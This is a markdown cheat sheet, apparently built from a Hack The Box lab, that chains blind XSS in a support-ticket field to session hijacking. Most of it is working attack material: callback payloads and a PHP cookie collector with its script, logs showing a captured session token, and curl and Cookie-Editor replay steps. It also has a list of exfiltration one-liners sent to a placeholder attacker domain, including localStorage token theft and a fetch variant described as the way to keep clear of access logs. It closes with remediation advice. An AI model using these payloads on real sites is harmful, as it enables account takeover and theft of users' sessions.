daemon-sec-cheatsheet

blind-xss-to-session-hijacking.md (27509B)

---

 ---
 title: "Blind XSS to Session Hijacking"
 description: "Chaining blind XSS to session hijacking: out-of-band callbacks, cookie/session theft, exfiltration and account takeover."
 category: web
 tags: ["web", "xss", "session-hijacking"]
 tools: []
 difficulty: advanced
 updated: "2026-08-28"
 source: "vault:Web/Blind XSS to Session Hijacking - HTB Cheat Sheet.md"
 ---
 # Blind XSS to Session Hijacking — HTB Cheat Sheet
 
 ## Summary
 
 Blind cross-site scripting is stored XSS that fires inside an interface you never see, most often a support agent or administrator panel that renders attacker-controlled input. Because the execution happens out of band, you confirm it with a callback rather than a visible alert. The reliable Hack The Box chain is to inject a probe that phones home, prove the payload runs, upgrade it to a two-file collector that exfiltrates `document.cookie`, capture the victim's session token, then replay that token with a cookie editor to inherit the victim's authenticated session. This note is the field-ready version of the support.inlanefreight.local ticket walkthrough, generalised so any blind-XSS-to-hijack path can be reproduced from it. It complements Cross-Site Scripting (XSS) - HTB Cheat Sheet, which covers reflected, stored, and DOM contexts more broadly.
 
 > [!danger]+ Authorisation Boundary
 >
 > 1. Run these procedures only against **Hack The Box**, intentionally vulnerable labs, or systems you own and are explicitly authorised to test.
 > 2. A captured session cookie is live credential material. Treat it as such, use lab-only collector infrastructure, and delete `cookies.txt` and any stored tokens when the exercise ends.
 > 3. Hijacking a real user's session without authorisation is unauthorised access under laws such as the UK Computer Misuse Act. Keep it in the lab.
 > 4. XSS executes inside a browser. It does **not** by itself give you an operating-system shell on the target.
 
 ---
 
 ## The Attack Chain
 
 *Figure 1: The full out-of-band chain, from ticket injection to cookie replay. Attacker actions on the left, the unseen victim agent on the right.*
 
 | Stage | You do | What it proves |
 |---|---|---|
 | 1. Inject | Drop a callback probe into a stored field an agent will read | The field reaches a privileged renderer |
 | 2. Confirm | Catch the out-of-band hit on your listener | Blind XSS executes somewhere you cannot see |
 | 3. Collect | Serve a collector that reads `document.cookie` | You have infrastructure to receive the token |
 | 4. Exfiltrate | Agent's browser sends its cookie to your host | The session token is now in your log |
 | 5. Hijack | Load the token with Cookie-Editor and refresh | You are authenticated as the victim |
 
 ---
 
 ## Conceptual Information
 
 > [!info]+ Why It Is Called "Blind"
 >
 > 1. **Blind** means the injection point and the execution point are different surfaces. You submit into a customer ticket, the payload runs later inside the staff console.
 > 2. You never see the resulting DOM directly, only the side effect: an inbound request to infrastructure you control.
 > 3. This is why detection is **out-of-band (OOB)**. The proof is a network callback, not an on-screen `alert()`.
 > 4. Classic sinks: support and contact tickets, admin user lists, log viewers, moderation queues, exported reports, and any "an internal user will review this" workflow.
 
 > [!info]+ Why the Cookie Is Enough
 >
 > 1. Session cookies are bearer tokens. Whoever presents a valid `session=` value is treated as that user until it expires or is revoked.
 > 2. If the cookie is **not** marked `HttpOnly`, JavaScript can read it via `document.cookie`, which is exactly what blind XSS gives you.
 > 3. Replaying the token needs no password and bypasses MFA, because MFA is evaluated at login, not on every request.
 > 4. See [Session hijacking](https://owasp.org/www-community/attacks/Session_hijacking_attack) and [MITRE ATT&CK T1539 — Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539/).
 
 > [!tip]+ Fast Chain Overview
 >
 > 1. **Probe** with `nc` to prove OOB execution before building anything heavy.
 > 2. **Upgrade** to `script.js` + `index.php` so you capture the token, not just a ping.
 > 3. **Use `new Image().src`** for exfiltration so the request is fire-and-forget and does not need a visible element.
 > 4. **Hijack** with Cookie-Editor rather than crafting raw requests, because it is faster and survives redirects.
 
 ---
 
 ## Tools Overview
 
 > [!info]+ [Netcat](https://man.openbsd.org/nc.1) Overview
 >
 > 1. Minimal TCP listener used as a first, disposable OOB catcher.
 > 2. Proves that an injected resource was requested, confirming blind execution.
 > 3. Does not return a valid HTTP response, so the victim browser may hang, which is why it is only a first probe.
 
 > [!info]+ [PHP Built-in Server](https://www.php.net/manual/en/features.commandline.webserver.php) Overview
 >
 > 1. `php -S` gives a quick, disposable web server with no Apache or Nginx setup.
 > 2. It can execute `index.php`, letting you log captured cookies to a file server-side.
 > 3. Ideal for a short-lived two-file collector that both serves the payload and records the loot.
 
 > [!info]+ [Cookie-Editor](https://cookie-editor.com/) Overview
 >
 > 1. Browser extension for viewing, adding, editing, and deleting cookies for the current site.
 > 2. Used to inject the stolen `session` value into your own browser to hijack the session.
 > 3. Handles the domain, path, and flags for you, which is faster than scripting `Set-Cookie` by hand.
 
 > [!info]+ [Interactsh](https://github.com/projectdiscovery/interactsh) Overview
 >
 > 1. Hosted OOB interaction service that catches DNS, HTTP, and SMTP callbacks.
 > 2. Gives a persistent record of every interaction with far less setup than self-hosting `nc` or `php -S`.
 > 3. Best when running many blind-injection tests across a large scope at once. See Blind XSS Tool - Interactsh.
 
 > [!info]+ [Burp Suite](https://portswigger.net/burp/documentation) Overview
 >
 > 1. Burp Collaborator is the commercial equivalent of Interactsh, integrated into the scanner and Repeater.
 > 2. Repeater lets you resubmit the injection one controlled change at a time.
 > 3. Useful when the ticket form needs authentication, CSRF tokens, or multi-step submission.
 
 ---
 
 ## Commands and Implementation
 
 ### 1. Confirm Blind XSS with a Simple Listener
 
 Inject a script include that points at a listener you control, then watch for the hit.
 
 ```html
 "><script src=http://10.10.14.213:9000/TESTING_THIS</script>
 ```
 
 ```bash
 nc -lvnp 9000
 
 listening on [any] 9000 ...
 connect to [10.10.14.213] from (UNKNOWN) [10.129.203.101] 56202
 GET /TESTING_THIS%3C/script HTTP/1.1
 Host: 10.10.14.213:9000
 User-Agent: HTBXSS/1.0
 ```
 
 > [!info]+ Command Breakdown
 >
 > 1. **`">`**: Breaks out of the current HTML attribute or tag context so the `<script>` is parsed as markup.
 > 2. **`<script src=...>`**: Loads a remote script, so any render of the ticket triggers a request to your host.
 > 3. **`nc -lvnp 9000`**: Listen (`-l`), verbose (`-v`), no DNS (`-n`), on port (`-p`) `9000`.
 > 4. **The callback**: The inbound `GET` from `10.129.203.101` (the victim) proves the payload executed somewhere out of band. This is the blind XSS hit.
 > 5. *Interpretation: confirmation only. The listener proves execution but does not yet give you anything useful. Note the `User-Agent: HTBXSS/1.0` and the `%3C` — the browser URL-encoded the `<` of your closing tag.*
 
 > [!warning]+ The Closing-Tag Gotcha
 >
 > 1. `nc` does not return a valid HTTP response, so `<script src>` may error and the browser can hang.
 > 2. The `%3C/script` in the log shows the parser mangled the closing tag. For reliable execution and clean exfiltration, prefer a real server and an `Image()`-based payload (below).
 > 3. Treat this step as a smoke test, then immediately upgrade to the collector.
 
 ### 2. Build the Two-File Cookie Collector
 
 Create `index.php` to log incoming cookies server-side.
 
 ```php
 <?php
 if (isset($_GET['c'])) {
     $list = explode(";", $_GET['c']);
     foreach ($list as $key => $value) {
         $cookie = urldecode($value);
         $file = fopen("cookies.txt", "a+");
         fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
         fclose($file);
     }
 }
 ?>
 ```
 
 Create `script.js` to grab and exfiltrate the cookie from the victim's browser.
 
 ```javascript
 new Image().src='http://10.10.14.213:9200/index.php?c='+document.cookie
 ```
 
 > [!info]+ Collector Breakdown
 >
 > 1. **`$_GET['c']`**: The cookie string arrives in the `c` query parameter set by `script.js`.
 > 2. **`explode(";", ...)`**: Splits multiple cookies so each is logged on its own line.
 > 3. **`urldecode(...)`**: Reverses the URL encoding the browser applied in transit.
 > 4. **`fputs(... "a+")`**: Appends `Victim IP | Cookie` to `cookies.txt` so repeat hits accumulate.
 > 5. **`new Image().src=...`**: Creates an off-DOM image whose source is your collector plus the cookie. The browser fires the request immediately with no visible element and no user interaction.
 > 6. *Interpretation: `script.js` runs in the victim, `index.php` records the result on your host. Two files, one clean capture.*
 
 ### 3. Serve the Collector
 
 ```bash
 sudo php -S 0.0.0.0:9200
 ```
 
 > [!info]+ Command Breakdown
 >
 > 1. **`sudo`**: Binding low ports or writing `cookies.txt` in a root-owned path may need elevation. Ports above 1024 usually do not, so drop `sudo` where you can.
 > 2. **`-S 0.0.0.0:9200`**: Starts the built-in server on all interfaces, port `9200`, so the HTB VPN interface is reachable.
 > 3. **`0.0.0.0`**: Listens on every local interface, including `tun0`. Binding to `127.0.0.1` would make the target unable to reach you.
 > 4. *Keep the shell open. Every callback is printed live and appended to `cookies.txt`.*
 
 ### 4. Inject the Upgraded Payload and Capture the Cookie
 
 ```html
 "><script src=http://10.10.14.213:9200/script.js></script>
 ```
 
 ```bash
 sudo php -S 0.0.0.0:9200
 
 [Tue Jun 21 00:33:27 2022] PHP 7.4.28 Development Server (http://0.0.0.0:9200) started
 [Tue Jun 21 00:33:42 2022] 10.129.203.101:40102 Accepted
 [Tue Jun 21 00:33:42 2022] 10.129.203.101:40102 [200]: (null) /script.js
 [Tue Jun 21 00:33:43 2022] 10.129.203.101:40104 [500]: GET /index.php?c=session=fcfaf93ab169bc943b92109f0a845d99
 ```
 
 > [!success]+ What the Log Shows
 >
 > 1. **` /script.js`**: The victim's browser fetched your exfiltration script. Execution confirmed.
 > 2. **`GET /index.php?c=session=fcfaf93ab169...`**: The follow-up request carries the agent's live `session` cookie. This is the loot.
 > 3. **The ``**: `index.php` may error after logging (for example on a missing response), which is harmless — check `cookies.txt`, the value is already written.
 > 4. *You now hold `session=fcfaf93ab169bc943b92109f0a845d99`, exactly what is needed to impersonate that session.*
 
 ```bash
 cat cookies.txt
 Victim IP: 10.129.203.101 | Cookie: session=fcfaf93ab169bc943b92109f0a845d99
 ```
 
 ### 5. Hijack the Session with Cookie-Editor
 
 > [!example]+ Session Replay Steps
 >
 > 1. Browse to the target application in your own browser and open **Cookie-Editor** from the toolbar.
 > 2. Find or create the `session` cookie for the target domain.
 > 3. Paste the stolen value `fcfaf93ab169bc943b92109f0a845d99` into the cookie's value field and save.
 > 4. Match the original `Domain`, `Path` (usually `/`), and flags where the app is strict about them.
 > 5. **Refresh the page.** The application now treats you as the victim, dropping you into their authenticated session with no password and no MFA prompt.
 
 > [!tip]+ Command-Line Alternative
 >
 > 1. If you prefer curl, replay the token directly: `curl -b "session=fcfaf93ab169bc943b92109f0a845d99" http://TARGET/admin/`.
 > 2. Cookie-Editor is usually faster on HTB because it survives client-side redirects and renders the authenticated UI for screenshots.
 
 ### 6. Optional — Hosted OOB Catcher with Interactsh
 
 For large scopes, swap the self-hosted listener for a hosted catcher that keeps a persistent log.
 
 ```bash
 interactsh-client -v
 ```
 
 > [!info]+ Command Breakdown
 >
 > 1. Generates a unique `*.oast.fun` (or self-hosted) domain that catches DNS, HTTP, and SMTP callbacks.
 > 2. Inject with the generated host, for example `"><script src=https://YOURID.oast.fun/x.js></script>`.
 > 3. Every interaction is timestamped and correlated, which beats scrolling `nc` output when many payloads are in flight.
 > 4. *Burp Collaborator is the equivalent inside Burp Suite. See Blind XSS Tool - Interactsh.*
 
 ### 7. PayloadsAllTheThings Payload Variants
 
 The [PayloadsAllTheThings XSS Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md) README, under **Proof of Concept and Data Grabber**, is the canonical payload reference for this chain. It hands you the one-liners and the same `grabber.php` idea, but it is a payload dump, not a walkthrough, so the steps above are how you actually run them. The variants below all map onto stages 1, 2, and 4 of this note.
 
 ```html
 <!-- Remote-script includes (stage 1/4): pull your collector from an external host -->
 "><script src="https://js.rip/[ATTACKER.DOMAIN.TLD]"></script>
 "><script src=//[ATTACKER.DOMAIN.TLD]></script>
 <script>$.getScript("//[ATTACKER.DOMAIN.TLD]")</script>
 
 <!-- Fire-and-forget image beacon (preferred): no visible element, no interaction -->
 <script>new Image().src="http://[ATTACKER.DOMAIN.TLD]/cookie.php?c="+document.cookie;</script>
 
 <!-- localStorage bearer-token theft: use when the session lives in a JWT, not a cookie -->
 <script>new Image().src="http://[ATTACKER.DOMAIN.TLD]/cookie.php?c="+localStorage.getItem('access_token');</script>
 
 <!-- Navigation-based exfil (louder, redirects the victim away): fallback only -->
 <script>document.location='http://[ATTACKER.DOMAIN.TLD]/grabber.php?c='+document.cookie</script>
 
 <!-- fetch() POST exfil (stealthiest): cookie rides the body, stays out of access logs -->
 <script>
 fetch('https://[ATTACKER.DOMAIN.TLD]', { method: 'POST', mode: 'no-cors', body: document.cookie });
 </script>
 ```
 
 > [!info]+ Variant Breakdown
 >
 > 1. **Remote-script includes**: `js.rip`, protocol-relative `//host`, and jQuery `$.getScript()` are three ways to load your collector. Use protocol-relative when the target is HTTPS so the include is not blocked as mixed content.
 > 2. **`new Image().src`**: The preferred exfil. Off-DOM, fires instantly, no user interaction, matches stage 4 of this note.
 > 3. **`localStorage.getItem('access_token')`**: Many modern apps store a JWT or bearer token in `localStorage` rather than a cookie. When `document.cookie` comes back empty because of `HttpOnly`, this often still works and the token is just as good for hijacking.
 > 4. **`document.location='...'`**: Works, but navigates the victim's browser away from the page, which is noisy and can alert the agent. Treat it as a fallback.
 > 5. **`fetch(..., {method:'POST', mode:'no-cors', body: document.cookie})`**: The stealthiest option. The cookie travels in the POST body instead of the URL query string, so it never lands in server access logs. `no-cors` lets the request fire cross-origin without a preflight.
 > 6. *All of these need a collector listening. Point them at the `php -S` server from step 3, or at one of the platforms below.*
 
 > [!tip]+ Matching Grabber for the PATT Payloads
 >
 > 1. PayloadsAllTheThings ships this minimal grabber, functionally the same as the `index.php` in step 2:
 > ```php
 > <?php
 > $cookie = $_GET['c'];
 > $fp = fopen('cookies.txt', 'a+');
 > fwrite($fp, 'Cookie:' .$cookie."\r\n");
 > fclose($fp);
 > ?>
 > ```
 > 2. Serve it with `php -S` as in step 3, or with PATT's Ruby one-liner: `ruby -run -ehttpd . -p8080`.
 > 3. For `fetch()` POST exfil, read `php://input` instead of `$_GET['c']` because the cookie arrives in the request body.
 
 ---
 
 ## Blind XSS Collector Platforms
 
 The `nc` and `php -S` collectors above are perfect for a single HTB ticket. For anything larger, or when you want screenshots, the rendered DOM, the victim IP, and the referring page captured automatically, use a dedicated blind XSS platform. This is where the tool the question asked about, XSS Hunter Express, fits, along with its successors.
 
 > [!warning]+ XSS Hunter Express Is Archived
 >
 > 1. The original hosted `xsshunter.com` service shut down in 2023.
 > 2. The self-hosted [xsshunter-express](https://github.com/adamjsturge/xsshunter-express) was archived on 22 April 2024 and is read-only. It still runs, but it is built on end-of-life Node 12, so it is not the one to start a fresh setup on.
 > 3. The maintained successor is [xsshunter-go](https://github.com/adamjsturge/xsshunter-go), a Go rewrite by the same author. For a full-featured PHP option, [ezXSS](https://github.com/why/ezXSS) is the current community favourite.
 > 4. *Recommendation: reach for **ezXSS** or **xsshunter-go** for a new self-hosted collector, and keep **Interactsh** or **Burp Collaborator** for lightweight OOB confirmation.*
 
 | Tool | Type | Screenshots + DOM | Setup weight | Use it when |
 |---|---|---|---|---|
 | `nc` / `php -S` | Manual collector | No | Trivial | A single HTB ticket, quick confirm and grab |
 | [Interactsh](https://github.com/projectdiscovery/interactsh) | Hosted OOB catcher | No | None (client only) | Confirming execution across many payloads |
 | Burp Collaborator | OOB catcher | No | Burp Pro | You already live in Burp |
 | [ezXSS](https://github.com/why/ezXSS) | Self-hosted platform | Yes | Medium (PHP + MySQL) | Rich reports, screenshots, `localStorage`, non-HttpOnly cookies |
 | [xsshunter-go](https://github.com/adamjsturge/xsshunter-go) | Self-hosted platform | Yes | Low (single Docker) | Maintained XSS Hunter successor, simplest full platform |
 | [xsshunter-express](https://github.com/adamjsturge/xsshunter-express) | Self-hosted (archived) | Yes | Medium (Docker) | Legacy only, prefer xsshunter-go |
 
 ### Recommended — ezXSS Setup
 
 [ezXSS](https://github.com/why/ezXSS) is a self-hosted PHP platform that captures full-page screenshots, the page DOM, the origin and referrer, the victim IP and user agent, and all non-HttpOnly cookies, presented in a searchable dashboard. It is the most feature-complete self-hosted option in active development.
 
 > [!important]+ Prerequisites
 >
 > 1. A web server with PHP and a MySQL or MariaDB database, or Docker.
 > 2. A domain or subdomain you control pointing at the server, ideally short so payloads stay compact.
 > 3. TLS on that domain, because HTTPS targets will refuse an HTTP callback as mixed content.
 
 ```bash
 # Docker path (fastest)
 git clone https://github.com/why/ezXSS.git
 cd ezXSS
 docker compose up -d
 # then browse to https://YOURDOMAIN/manage/ and complete the installer
 ```
 
 > [!info]+ Setup Breakdown
 >
 > 1. **Clone and start**: `docker compose up -d` brings up the app and its database.
 > 2. **Installer**: Visit `/manage/` on first run to set your admin password and alert email, then delete or lock the installer as prompted.
 > 3. **Manual alternative**: Drop the files in your web root, create a MySQL database, set the credentials in `/src/Configuration.php`, run the installer at `/manage/`, then remove it.
 > 4. **DNS + TLS**: Point an `A` record at the box and terminate HTTPS (Let's Encrypt via a reverse proxy such as Caddy or Traefik is simplest).
 > 5. *After setup, the dashboard generates your payloads. See your fuller notes at Blind XSS Tool - ezXSS.*
 
 > [!example]+ Using ezXSS
 >
 > 1. In the dashboard, copy a generated payload, for example `"><script src=https://YOURDOMAIN/PAYLOADID></script>`.
 > 2. Inject it into the stored field exactly as in step 1 of this note.
 > 3. When the agent renders it, ezXSS records a report with the screenshot, DOM, cookies, and `localStorage`.
 > 4. Lift the session cookie or bearer token from the report and hijack with Cookie-Editor as in step 5.
 
 ### Alternative — xsshunter-go Setup
 
 [xsshunter-go](https://github.com/adamjsturge/xsshunter-go) is the maintained successor to XSS Hunter Express, deployed as a single Docker container with SQLite by default.
 
 ```yaml
 # docker-compose.yaml (minimal)
 services:
   xsshunter:
     image: adamjsturge/xsshunter-go:latest
     ports:
       - "1449:1449"
     environment:
       - CONTROL_PANEL_ENABLED=true
       - DOMAIN=https://xss.YOURDOMAIN.tld
     volumes:
       - ./db:/app/db/
       - ./screenshots:/app/screenshots/
 ```
 
 ```bash
 docker compose up -d
 ```
 
 > [!info]+ Setup Breakdown
 >
 > 1. **`DOMAIN`**: The hostname baked into generated payloads. Point DNS at the server and terminate TLS in front of it.
 > 2. **`CONTROL_PANEL_ENABLED`**: Turns on the admin dashboard where you read reports and copy payloads.
 > 3. **TLS**: The README ships a Traefik plus Let's Encrypt example for automatic HTTPS. A reverse proxy handles certificates cleanly.
 > 4. **Storage**: SQLite by default, or set `DATABASE_URL` for PostgreSQL. Screenshots persist in the mounted volume.
 > 5. **Notifications**: `NOTIFY` supports Discord, Slack, and Telegram via shoutrrr, so a fired payload pings you.
 > 6. *Inject and hijack exactly as with ezXSS. Cross-reference Blind XSS Tool - XSS Hunter.*
 
 ---
 
 ## What to Watch Out For
 
 | Symptom | What it means | Next step |
 |---|---|---|
 | Callback never arrives | Field is not rendered by a privileged user, or egress is blocked | Try other stored fields, wait for scheduled review jobs, confirm your host is VPN-reachable |
 | `nc` hit but `script.js` never loads | `nc` returned no valid HTTP response, browser aborted | Switch to `php -S` so a real `200` is returned |
 | `%3C/script` in the log | Browser URL-encoded the closing tag | Use `new Image().src` exfiltration instead of `<script src>` closing tags |
 | Cookie captured but hijack fails | Cookie may be `HttpOnly`, `Secure`, path-scoped, or `SameSite` bound | `HttpOnly` blocks `document.cookie` entirely; look for a non-HttpOnly token or a different attack |
 | `document.cookie` is empty | The useful cookie is `HttpOnly`, or none is set on that path | Inspect cookie attributes; blind XSS can still perform actions as the victim even without token theft |
 | Hijack works then drops | Server rotated or idle-expired the session | Recapture a fresh token, act quickly |
 
 > [!warning]+ HttpOnly Is the Main Blocker
 >
 > 1. `document.cookie` cannot read cookies flagged `HttpOnly`. An empty capture does **not** mean XSS failed.
 > 2. When the session cookie is `HttpOnly`, pivot to XSS-driven actions (change email, create an admin, perform a request as the victim) rather than token theft.
 > 3. Mixed content also bites: an HTTPS target may block an HTTP collector. Use an HTTPS catcher for HTTPS victims.
 
 ---
 
 ## Troubleshooting
 
 > [!failure]+ No Callback At All
 >
 > 1. Open your own collector URL from the HTB browser to confirm DNS, routing, and that the listener is on the `tun0`-reachable interface.
 > 2. Confirm the injected field is actually reviewed by staff or a background job, and give scheduled jobs time to run.
 > 3. Try a plain `<img src=http://YOU/probe>` before a `<script src>` to separate "reaches the renderer" from "executes script".
 
 > [!failure]+ Script Loads but No Cookie Arrives
 >
 > 1. Verify `script.js` uses `document.cookie` and points at the right host and port.
 > 2. Check the target's Content-Security-Policy for `connect-src`/`img-src` limits in the browser console.
 > 3. The session cookie is almost certainly `HttpOnly`. Confirm in devtools and switch to an action-based payload.
 
 > [!failure]+ Cookie Replays but Session Is Not Authenticated
 >
 > 1. Confirm the cookie name is exact (`session`, `PHPSESSID`, `connect.sid`, and so on).
 > 2. Match `Domain` and `Path` precisely in Cookie-Editor.
 > 3. Some apps bind the session to a user-agent or IP fingerprint; align your request or accept that theft is mitigated.
 
 ---
 
 ## Remediation
 
 1. **Encode on output for the exact context** so stored input in the agent view is rendered as text, not markup. This is the root fix.
 2. **Set `HttpOnly` on session cookies** so `document.cookie` cannot read them, defeating token exfiltration.
 3. **Set `Secure` and a strict `SameSite`** to limit where cookies travel and reduce replay surface.
 4. **Bind sessions to context** (rotate on privilege change, tie to a fingerprint, enforce idle and absolute timeouts) so a stolen token has a short useful life.
 5. **Deploy a Content-Security-Policy** with `script-src` nonces or hashes and no `unsafe-inline` to block injected and remote scripts.
 6. **Sanitise stored HTML** with a maintained allowlist library such as DOMPurify, and do not mutate the result afterwards.
 7. **Restrict outbound egress** from staff consoles so exfiltration callbacks cannot leave the network.
 8. **Enable Trusted Types** where supported to lock down dangerous DOM sinks in the admin interface.
 
 ---
 
 ## Evidence and Reporting Checklist
 
 1. Record the injection point (URL, method, field) and the account and role that rendered the payload.
 2. Save the exact injected payload, the collector source, and the raw callback log line.
 3. Capture `cookies.txt` (redacted as policy requires) showing the stolen token and victim IP.
 4. Screenshot the authenticated session after replay to prove impact, not just execution.
 5. State clearly whether the cookie was `HttpOnly` and how that affected the outcome.
 6. Delete `cookies.txt`, stored payloads, and any replayed tokens when the engagement ends.
 
 ---
 
 ## Lessons Learned
 
 1. **Confirmation and impact are separate claims.** A `nc` callback proves blind execution; only a captured, replayed cookie proves session hijack. Report them distinctly.
 2. **`new Image().src` beats a closing `<script>` tag** for exfiltration, because it is fire-and-forget and avoids the URL-encoding and hang problems seen with `nc`.
 3. **`php -S` is the sweet spot** for a lab collector: it both serves the payload and runs `index.php` to log the loot, with zero Apache setup.
 4. **`HttpOnly` is the single control that most often kills this chain.** When token theft fails, pivot to performing actions as the victim instead of stealing the cookie.
 5. **Hosted catchers scale.** For wide scopes, Interactsh or Burp Collaborator replace a wall of `nc` windows with one correlated, timestamped log.
 
 ---
 
 ## References
 
 1. [OWASP — Cross Site Scripting Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
 2. [OWASP — Session hijacking attack](https://owasp.org/www-community/attacks/Session_hijacking_attack)
 3. [PortSwigger — Exploiting cross-site scripting to steal cookies](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)
 4. [MITRE ATT&CK T1539 — Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539/)
 5. [MDN — Set-Cookie: HttpOnly and Secure](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie)
 6. [PHP — Built-in web server](https://www.php.net/manual/en/features.commandline.webserver.php)
 7. [PayloadsAllTheThings — XSS Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md)
 8. [ezXSS](https://github.com/why/ezXSS)
 9. [xsshunter-go](https://github.com/adamjsturge/xsshunter-go)
 10. [xsshunter-express (archived)](https://github.com/adamjsturge/xsshunter-express)
 11. [Interactsh](https://github.com/projectdiscovery/interactsh)
 12. [Cookie-Editor](https://cookie-editor.com/)
 13. Cross-Site Scripting (XSS) - HTB Cheat Sheet
 14. Blind XSS Tool - Interactsh
 15. Blind XSS Tool - ezXSS
 16. Blind XSS Tool - XSS Hunter